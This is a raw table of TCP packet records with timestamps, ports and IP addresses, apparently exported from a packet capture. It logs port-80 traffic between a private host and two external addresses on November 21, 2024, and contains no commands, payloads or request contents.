Nov 21, 2024 07:10:28.595737934 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.595809937 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.595866919 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.598464966 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.598521948 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.598592997 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.598649979 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.601280928 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.601341009 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.601417065 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.601473093 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.604032040 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.604089975 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.604180098 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.604249954 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.606826067 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.606884956 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.606950998 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.607007027 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.609601021 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.609683990 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.609728098 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.609782934 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.612371922 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.612428904 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.612468958 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.612526894 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.615151882 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.615207911 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.615291119 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.615389109 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.617966890 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.618031025 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.618096113 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.618150949 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.620805025 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.620899916 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.620906115 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.620950937 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.626938105 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.626988888 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.627008915 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.627023935 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.627032042 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.627059937 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.627072096 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.627114058 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.629100084 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.629159927 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.629232883 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.629288912 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.631932020 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.631999969 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.632020950 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.632078886 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.634691000 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.634757042 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.634828091 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.634886026 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.637451887 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.637511969 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.637592077 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.637646914 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.640307903 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.640378952 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.640449047 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.640506983 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.726588011 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.726684093 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.726735115 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.726797104 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.727652073 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.727715015 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.727802992 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.727855921 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.729814053 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.729847908 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.729878902 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.729913950 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.731724977 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.731831074 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.731923103 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.731923103 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.734069109 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.734103918 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.734138012 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.734175920 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.736279964 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.736380100 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.736391068 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.736439943 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.738496065 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.738557100 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.738605022 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.738661051 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.740689993 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.740762949 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.740812063 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.740869045 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.742842913 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.742904902 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.742954016 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.743019104 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.744985104 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.745047092 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.745086908 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.745141029 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.747128963 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.747230053 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.747250080 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.747286081 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.749178886 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.749258041 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.749330997 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.749392986 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.751280069 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.751348972 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.751390934 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.751450062 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.753324032 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.753375053 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.753380060 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.753432035 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.755348921 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.755445957 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.755458117 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.755507946 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.757348061 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.757405043 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.757474899 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.757530928 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.759358883 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.759418964 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.759490967 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.759546995 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.761302948 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.761359930 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.761379957 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.761435032 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.763243914 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.763302088 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.763380051 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.763436079 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.765175104 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.765233994 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.765305042 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.765361071 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.767105103 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.767160892 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.767270088 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.767330885 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.769021988 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.769081116 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.769119978 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.769172907 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.770965099 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.771022081 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.771076918 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.771131039 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.772841930 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.772898912 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.772958040 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.773015976 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.774772882 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.774830103 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.774902105 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.774955034 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.778608084 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.778642893 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.779299974 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.779495001 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.779529095 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.779670000 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.781250000 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.781311989 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.781420946 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.781481028 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.783004045 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.783065081 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.783281088 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.783341885 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.784358978 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.784419060 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.784482002 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.784538031 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.786345959 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.786381006 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.786411047 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.786443949 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.788189888 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.788247108 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.788300037 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.788355112 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.790108919 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.790168047 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.790229082 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.790281057 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.792045116 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.792103052 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.792193890 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.792248011 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.793925047 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.793983936 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.794035912 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.794090986 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.795859098 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.795917034 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.795989037 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.796042919 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.797801018 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.797895908 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.797899961 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.797950029 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.798485994 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.798536062 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.798542023 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.798573971 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.798727989 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.798777103 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.798779011 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.798809052 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.798823118 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.798852921 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.798875093 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.798919916 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.799680948 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.799740076 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.799804926 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.799858093 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.801592112 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.801649094 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.801719904 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.801774025 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.806513071 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.806546926 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.806576967 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.806581974 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.806598902 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.806617022 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.806622028 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.806668043 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.807878017 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.807962894 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.808218956 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.808254004 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.808306932 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.808371067 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.808398962 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.808471918 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.808556080 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.808597088 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.809917927 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:28.809938908 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.810003996 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.810106039 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.810159922 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.812036991 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.812071085 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.812096119 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.812128067 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.813999891 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.814034939 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.814060926 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.814093113 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.815706968 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.815764904 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.815856934 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.815912008 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.817802906 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.817837954 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.817858934 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.817950964 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.819744110 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.819777966 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.819803953 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.819834948 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.821491957 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.821548939 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.821640968 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.821696997 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.823625088 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.823659897 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.823683023 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.823709011 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.825398922 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.825464010 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.825565100 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.825620890 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.827361107 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.827415943 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.827488899 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.827542067 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.829221010 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.829253912 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.829281092 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.829312086 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.927345037 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.927412987 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.927495003 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.927578926 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.928008080 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.928071976 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.928211927 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.928267956 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.929543018 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.929578066 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.929609060 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:28.929613113 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.929641962 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.930982113 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.931042910 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.931092024 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.931150913 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.932280064 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.932338953 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.932404041 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.932463884 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.933720112 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.933784008 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.933809996 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.933866978 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.935053110 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.935116053 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.935131073 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.935189962 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.936417103 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.936475039 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.936546087 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.936604023 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.937763929 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.937870026 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.937891006 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.937951088 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.939104080 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.939162970 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.939237118 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.939299107 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.940485001 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:28.940545082 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:28.940578938 CET	80	49810	185.215.113.16	192.168.2.4
